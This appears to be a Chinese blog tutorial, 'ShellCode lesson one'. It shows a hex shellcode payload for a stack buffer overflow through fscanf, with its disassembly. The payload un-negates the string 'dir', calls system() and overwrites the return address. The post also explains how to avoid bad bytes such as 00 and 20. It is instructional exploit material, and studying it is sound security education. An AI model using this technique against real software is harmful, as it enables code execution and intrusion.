ShellCode第一课

C代码

 

未优化的Shell.bin文件 只是简单表示执行过程

9B968DFF9090909090909090909090908BF583EE78F7168BE65481EAA9D3527CFFD290909090909090909090909090909090909058FF1200

说明

9B968DFF  dir”的反码表示形式

909090909090909090909090   空余空间

8BF583EE78F7168BE65481EAA9D3527CFFD2

0012FF58    8BF5            mov     esi, ebp  //构造的EIP

0012FF5A    83EE 78         sub     esi, 78

0012FF5D    F716            not     dword ptr [esi]  //还原”dir”

0012FF5F    8BE6            mov     esp, esi

0012FF61    54              push    esp

//得到system地址并执行

0012FF62    81EA A9D3527C   sub     edx, 7C52D3A9

0012FF68    FFD2            call    edx  

 

909090909090909090909090909090909090空余空间

58FF1200  关键点:这里替换了原来的函数返回地址 指向我们的代码地址

关键点

1:Fscanf在参数传递过程中没有对参数长度进行校验造成缓冲区溢出

2:Fscanf函数在读取文件的时候遇到 结束字符”00”,空格”20”等不能继续读取 所以

  shellcode的时候这是关键点  所以要避免出现这些敏感字符 所以用求反not

  等办法处理  或者++ --……

 

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值